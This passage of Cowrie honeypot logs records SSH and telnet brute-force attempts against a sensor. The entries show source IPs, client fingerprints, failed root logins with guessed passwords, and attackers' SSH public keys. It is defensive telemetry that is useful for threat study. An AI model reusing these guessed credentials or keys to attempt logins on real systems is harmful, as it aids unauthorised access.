384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:50.498093Z","src_ip":"109.172.54.111","session":"7a0174296292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michaela","message":"login attempt [root/michaela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:50.799289Z","src_ip":"109.172.54.111","session":"7a0174296292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:51.903595Z","src_ip":"109.172.54.111","session":"7a0174296292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.40430545806885,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:10.331030Z","src_ip":"135.148.14.151","session":"398542589a62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":50774,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa374f079ecc","protocol":"ssh","message":"New connection: 193.228.128.84:50774 (159.203.135.109:22) [session: aa374f079ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:18.454392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:18.459461Z","src_ip":"193.228.128.84","session":"aa374f079ecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:18.562273Z","src_ip":"193.228.128.84","session":"aa374f079ecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrey12345","message":"login attempt [root/andrey12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:18.869643Z","src_ip":"193.228.128.84","session":"aa374f079ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:19.976369Z","src_ip":"193.228.128.84","session":"aa374f079ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.015045166015625,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:23.432019Z","src_ip":"135.148.14.151","session":"26638ed63917","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":58474,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d4a0da40210","protocol":"ssh","message":"New connection: 89.108.118.91:58474 (159.203.135.109:22) [session: 5d4a0da40210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:26.056771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:26.062252Z","src_ip":"89.108.118.91","session":"5d4a0da40210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:26.194801Z","src_ip":"89.108.118.91","session":"5d4a0da40210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"popov","message":"login attempt [root/popov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:26.593000Z","src_ip":"89.108.118.91","session":"5d4a0da40210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:27.730435Z","src_ip":"89.108.118.91","session":"5d4a0da40210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38456,"dst_ip":"159.203.135.109","dst_port":23,"session":"b720b0cb8d9d","protocol":"telnet","message":"New connection: 135.148.14.151:38456 (159.203.135.109:23) [session: b720b0cb8d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:36.862705Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41344,"dst_ip":"159.203.135.109","dst_port":23,"session":"db0b000b73be","protocol":"telnet","message":"New connection: 135.148.14.151:41344 (159.203.135.109:23) [session: db0b000b73be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:40.013946Z"}
{"eventid":"cowrie.session.closed","duration":120.00444555282593,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:42.972432Z","src_ip":"81.84.21.115","session":"768e178b7854","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":53374,"dst_ip":"10.17.0.5","dst_port":22,"session":"86c76cab775b","protocol":"ssh","message":"New connection: 103.77.175.15:53374 (10.17.0.5:22) [session: 86c76cab775b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:45.971347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:46.014854Z","src_ip":"103.77.175.15","session":"86c76cab775b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:46.229735Z","src_ip":"103.77.175.15","session":"86c76cab775b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitch","message":"login attempt [root/bitch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:47.240458Z","src_ip":"103.77.175.15","session":"86c76cab775b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:48.497885Z","src_ip":"103.77.175.15","session":"86c76cab775b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45842,"dst_ip":"159.203.135.109","dst_port":23,"session":"33b6c8ecf9f4","protocol":"telnet","message":"New connection: 135.148.14.151:45842 (159.203.135.109:23) [session: 33b6c8ecf9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:50.366435Z"}
{"eventid":"cowrie.session.closed","duration":120.00148129463196,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:50.571111Z","src_ip":"81.84.21.115","session":"a841e380551a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.84.21.115","src_port":57904,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc9c8c90f566","protocol":"telnet","message":"New connection: 81.84.21.115:57904 (10.17.0.5:23) [session: bc9c8c90f566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:50.913582Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47956,"dst_ip":"159.203.135.109","dst_port":23,"session":"df90fac5f33e","protocol":"telnet","message":"New connection: 135.148.14.151:47956 (159.203.135.109:23) [session: df90fac5f33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:54.554727Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":53178,"dst_ip":"10.17.0.5","dst_port":22,"session":"7db5648aaa38","protocol":"ssh","message":"New connection: 109.237.96.109:53178 (10.17.0.5:22) [session: 7db5648aaa38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:54.984765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:54.990184Z","src_ip":"109.237.96.109","session":"7db5648aaa38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:55.089906Z","src_ip":"109.237.96.109","session":"7db5648aaa38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fyfrjylf","message":"login attempt [root/fyfrjylf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:55.386051Z","src_ip":"109.237.96.109","session":"7db5648aaa38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:49:56.482732Z","src_ip":"109.237.96.109","session":"7db5648aaa38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53190,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c0e38eacf23","protocol":"telnet","message":"New connection: 135.148.14.151:53190 (159.203.135.109:23) [session: 9c0e38eacf23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:04.356494Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54452,"dst_ip":"159.203.135.109","dst_port":23,"session":"e800b4a7da15","protocol":"telnet","message":"New connection: 135.148.14.151:54452 (159.203.135.109:23) [session: e800b4a7da15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:08.256420Z"}
{"eventid":"cowrie.session.closed","duration":32.6942617893219,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:09.556868Z","src_ip":"135.148.14.151","session":"b720b0cb8d9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56040,"dst_ip":"159.203.135.109","dst_port":23,"session":"553cf6d3034b","protocol":"telnet","message":"New connection: 135.148.14.151:56040 (159.203.135.109:23) [session: 553cf6d3034b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:10.768065Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53592,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2a0311c385f","protocol":"telnet","message":"New connection: 135.148.14.151:53592 (159.203.135.109:23) [session: f2a0311c385f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:12.377600Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.176.142","src_port":6854,"dst_ip":"10.17.0.5","dst_port":22,"session":"91715d841eda","protocol":"ssh","message":"New connection: 31.42.176.142:6854 (10.17.0.5:22) [session: 91715d841eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:17.438993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:17.447390Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:17.541467Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.89053916931152,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:17.904411Z","src_ip":"135.148.14.151","session":"db0b000b73be","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:3f:d3:48:bb:b5:30:f6:bd:58:6e:4d:5b:80:23:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC+fm68mCFi/UAHcZIQOOc71sPP1Ac9C5WDQPLhSb3abDmYgmPbIe1w5aYqSoqFDcbbaPZsBf01V1xkWulUROWFWY8NwuxMm/pY0PTJ3OrSMawFZfCI5Cxtb8ymEbpgNUeAYxxtRxIqkS9l2ZfN0LxiS7EhCcaOtfo3ex0QMUjpUUQgQP5SLUfdeJgaOUI/J/nuIqtM6A4HIZKDV77W+pzb3v5tx2FLhkfgEjQw8nYo95K59ZA7M9jHGd66QLdPB9y65dsr4cjP9NUXyLIxseCWiCAnHlqNy85O+/t4pN/zH6G1vEy7CfaB8gITOEmYDTC0YqPA/9qGSaDhaUOjUdUvPafP/VRgnsJk75B5dUw3tKsy0R0INX1xU8QHm/CSoi+2hLQvdwfuUNohykqPVb+IiZfqenF14KlWKkrJ9ulK8K8l2oCr0xPh44SeLQMsNi8yBi1Rl0AgDHB7t5UjE9LTKh8DTkpuwh0668DiI++ixqjeTUeW5sZS+3mOD/S0Q5RbC1GR4gntNH4ocN+MhEnC01m8Wd7J1JoGfLtw7ZSElez/TliU/2HVlp62GKszcwbOaL5YdfT6cATiqhgLvyKnZov2iuakY0VrBOBUBs7+yx/7RuTaBnqnmLCN3bnhR1pcvqMN7SIcD1PrMlDmGtfM0aDnrtIHxffLaBbThnXyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:3f:d3:48:bb:b5:30:f6:bd:58:6e:4d:5b:80:23:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:17.936698Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:3f:d3:48:bb:b5:30:f6:bd:58:6e:4d:5b:80:23:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC+fm68mCFi/UAHcZIQOOc71sPP1Ac9C5WDQPLhSb3abDmYgmPbIe1w5aYqSoqFDcbbaPZsBf01V1xkWulUROWFWY8NwuxMm/pY0PTJ3OrSMawFZfCI5Cxtb8ymEbpgNUeAYxxtRxIqkS9l2ZfN0LxiS7EhCcaOtfo3ex0QMUjpUUQgQP5SLUfdeJgaOUI/J/nuIqtM6A4HIZKDV77W+pzb3v5tx2FLhkfgEjQw8nYo95K59ZA7M9jHGd66QLdPB9y65dsr4cjP9NUXyLIxseCWiCAnHlqNy85O+/t4pN/zH6G1vEy7CfaB8gITOEmYDTC0YqPA/9qGSaDhaUOjUdUvPafP/VRgnsJk75B5dUw3tKsy0R0INX1xU8QHm/CSoi+2hLQvdwfuUNohykqPVb+IiZfqenF14KlWKkrJ9ulK8K8l2oCr0xPh44SeLQMsNi8yBi1Rl0AgDHB7t5UjE9LTKh8DTkpuwh0668DiI++ixqjeTUeW5sZS+3mOD/S0Q5RbC1GR4gntNH4ocN+MhEnC01m8Wd7J1JoGfLtw7ZSElez/TliU/2HVlp62GKszcwbOaL5YdfT6cATiqhgLvyKnZov2iuakY0VrBOBUBs7+yx/7RuTaBnqnmLCN3bnhR1pcvqMN7SIcD1PrMlDmGtfM0aDnrtIHxffLaBbThnXyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:17.946784Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:d2:be:0b:cf:dd:6a:e2:f0:c5:00:58:9f:96:92:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKlq+TNudlY1eitL88H2L/CbXdq7RNloGTWtTaZDmBvR6lJTn4t+1Ta0dQvrzq0T+1AwWeSn92KhRnoYaRjeml8kuDb62Tt2P4M1dVz5yfIcYUIKTl13n/FAWsv6UjrKcEHxThn8teHKVK/9lTf5q0GiTHeORcYivZsro79KDvQauFX/guyEzZEGqM6U6ebJAFGBQ0ArKgt+a7uUkNX2KmK7NnNKSuPJuPU5EyLucoc/KEsdBaZuO5ZDEtJGKy8cAvptYx771p/dOskkHNtco3LPB9VDNp+oc1lyvUAU+v/P7GPx4DbAV7smG9EKnET379aDKzTxR57y9vzauA3t8B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:d2:be:0b:cf:dd:6a:e2:f0:c5:00:58:9f:96:92:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:18.030653Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
